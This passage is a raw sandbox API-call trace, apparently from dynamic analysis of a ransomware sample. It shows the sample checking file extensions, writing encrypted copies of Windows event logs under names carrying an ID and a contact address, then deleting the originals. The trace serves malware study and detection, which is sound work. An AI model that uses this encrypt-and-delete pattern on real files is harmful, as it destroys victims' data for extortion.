(lpString1=".ppt", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.013] lstrlenW (lpString=".zip") returned 4 [0049.013] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString=".rar") returned 4 [0049.013] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString=".bz2") returned 4 [0049.013] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString=".7z") returned 3 [0049.013] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.013] lstrlenW (lpString=".dbf") returned 4 [0049.014] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.014] lstrlenW (lpString=".1cd") returned 4 [0049.014] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.014] lstrlenW (lpString=".jpg") returned 4 [0049.014] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.014] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.014] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0049.014] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.014] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0049.014] CloseHandle (hObject=0x36c) returned 1 [0049.014] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0049.014] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.014] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.014] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.015] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.015] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.015] GetLastError () returned 0x0 [0049.015] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.069] WriteFile (in: hFile=0x308, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.071] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.071] WriteFile (in: hFile=0x308, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x136, lpOverlapped=0x0) returned 1 [0049.071] SetEndOfFile (hFile=0x308) returned 1 [0049.071] CloseHandle (hObject=0x308) returned 1 [0049.073] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.073] SetEndOfFile (hFile=0x36c) returned 1 [0049.074] CloseHandle (hObject=0x36c) returned 1 [0049.074] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.074] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0049.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.075] lstrlenW (lpString=".doc") returned 4 [0049.075] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString=".docx") returned 5 [0049.075] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.075] lstrlenW (lpString=".pdf") returned 4 [0049.075] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString=".xls") returned 4 [0049.075] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString=".xlsx") returned 5 [0049.075] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.075] lstrlenW (lpString=".ppt") returned 4 [0049.075] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.075] lstrlenW (lpString=".zip") returned 4 [0049.075] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString=".rar") returned 4 [0049.075] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString=".bz2") returned 4 [0049.075] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString=".7z") returned 3 [0049.075] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.075] lstrlenW (lpString=".dbf") returned 4 [0049.075] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.075] lstrlenW (lpString=".1cd") returned 4 [0049.075] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.075] lstrlenW (lpString=".jpg") returned 4 [0049.075] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.075] lstrlenW (lpString=".doc") returned 4 [0049.076] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.076] lstrlenW (lpString=".docx") returned 5 [0049.076] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.076] lstrlenW (lpString=".pdf") returned 4 [0049.076] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.076] lstrlenW (lpString=".xls") returned 4 [0049.076] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.076] lstrlenW (lpString=".xlsx") returned 5 [0049.076] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.076] lstrlenW (lpString=".ppt") returned 4 [0049.076] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.076] lstrlenW (lpString=".zip") returned 4 [0049.076] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.076] lstrlenW (lpString=".rar") returned 4 [0049.076] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.076] lstrlenW (lpString=".bz2") returned 4 [0049.076] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.076] lstrlenW (lpString=".7z") returned 3 [0049.076] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.076] lstrlenW (lpString=".dbf") returned 4 [0049.076] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.076] lstrlenW (lpString=".1cd") returned 4 [0049.076] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0049.076] lstrlenW (lpString=".jpg") returned 4 [0049.076] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.077] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.077] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63 [0049.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.077] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0049.077] CloseHandle (hObject=0x36c) returned 1 [0049.077] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0049.077] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0049.077] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.077] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.078] GetLastError () returned 0x0 [0049.078] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.255] WriteFile (in: hFile=0x308, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.256] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.257] WriteFile (in: hFile=0x308, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x152, lpOverlapped=0x0) returned 1 [0049.257] SetEndOfFile (hFile=0x308) returned 1 [0049.257] CloseHandle (hObject=0x308) returned 1 [0049.258] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.258] SetEndOfFile (hFile=0x36c) returned 1 [0049.262] CloseHandle (hObject=0x36c) returned 1 [0049.263] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.263] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0049.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.263] lstrlenW (lpString=".doc") returned 4 [0049.263] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.263] lstrlenW (lpString=".docx") returned 5 [0049.263] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.263] lstrlenW (lpString=".pdf") returned 4 [0049.263] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.263] lstrlenW (lpString=".xls") returned 4 [0049.263] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.263] lstrlenW (lpString=".xlsx") returned 5 [0049.263] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.263] lstrlenW (lpString=".ppt") returned 4 [0049.263] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.263] lstrlenW (lpString=".zip") returned 4 [0049.263] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.263] lstrlenW (lpString=".rar") returned 4 [0049.263] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString=".bz2") returned 4 [0049.264] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString=".7z") returned 3 [0049.264] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.264] lstrlenW (lpString=".dbf") returned 4 [0049.264] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.264] lstrlenW (lpString=".1cd") returned 4 [0049.264] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.264] lstrlenW (lpString=".jpg") returned 4 [0049.264] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.264] lstrlenW (lpString=".doc") returned 4 [0049.264] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString=".docx") returned 5 [0049.264] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.264] lstrlenW (lpString=".pdf") returned 4 [0049.264] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString=".xls") returned 4 [0049.264] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString=".xlsx") returned 5 [0049.264] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.264] lstrlenW (lpString=".ppt") returned 4 [0049.264] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.264] lstrlenW (lpString=".zip") returned 4 [0049.264] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString=".rar") returned 4 [0049.264] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString=".bz2") returned 4 [0049.264] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.264] lstrlenW (lpString=".7z") returned 3 [0049.265] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.265] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.265] lstrlenW (lpString=".dbf") returned 4 [0049.265] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.265] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.265] lstrlenW (lpString=".1cd") returned 4 [0049.265] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.265] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0049.265] lstrlenW (lpString=".jpg") returned 4 [0049.265] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.265] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.265] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48 [0049.265] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.282] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0049.282] CloseHandle (hObject=0x2e0) returned 1 [0049.282] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0049.282] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0049.283] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.283] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0049.284] GetLastError () returned 0x0 [0049.284] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.450] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.452] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.452] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x134, lpOverlapped=0x0) returned 1 [0049.452] SetEndOfFile (hFile=0x358) returned 1 [0049.452] CloseHandle (hObject=0x358) returned 1 [0049.454] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.454] SetEndOfFile (hFile=0x2e0) returned 1 [0049.455] CloseHandle (hObject=0x2e0) returned 1 [0049.455] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.455] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0049.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.455] lstrlenW (lpString=".doc") returned 4 [0049.455] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.455] lstrlenW (lpString=".docx") returned 5 [0049.455] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.455] lstrlenW (lpString=".pdf") returned 4 [0049.455] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.455] lstrlenW (lpString=".xls") returned 4 [0049.455] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.455] lstrlenW (lpString=".xlsx") returned 5 [0049.455] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.456] lstrlenW (lpString=".ppt") returned 4 [0049.456] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.456] lstrlenW (lpString=".zip") returned 4 [0049.456] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString=".rar") returned 4 [0049.456] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString=".bz2") returned 4 [0049.456] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString=".7z") returned 3 [0049.456] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.456] lstrlenW (lpString=".dbf") returned 4 [0049.456] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.456] lstrlenW (lpString=".1cd") returned 4 [0049.456] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.456] lstrlenW (lpString=".jpg") returned 4 [0049.456] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.456] lstrlenW (lpString=".doc") returned 4 [0049.456] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString=".docx") returned 5 [0049.456] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.456] lstrlenW (lpString=".pdf") returned 4 [0049.456] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString=".xls") returned 4 [0049.456] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.456] lstrlenW (lpString=".xlsx") returned 5 [0049.456] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.456] lstrlenW (lpString=".ppt") returned 4 [0049.456] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.457] lstrlenW (lpString=".zip") returned 4 [0049.457] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.457] lstrlenW (lpString=".rar") returned 4 [0049.457] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.457] lstrlenW (lpString=".bz2") returned 4 [0049.457] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.457] lstrlenW (lpString=".7z") returned 3 [0049.457] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.457] lstrlenW (lpString=".dbf") returned 4 [0049.457] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.457] lstrlenW (lpString=".1cd") returned 4 [0049.457] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0049.457] lstrlenW (lpString=".jpg") returned 4 [0049.457] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.457] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0049.457] lstrlenW 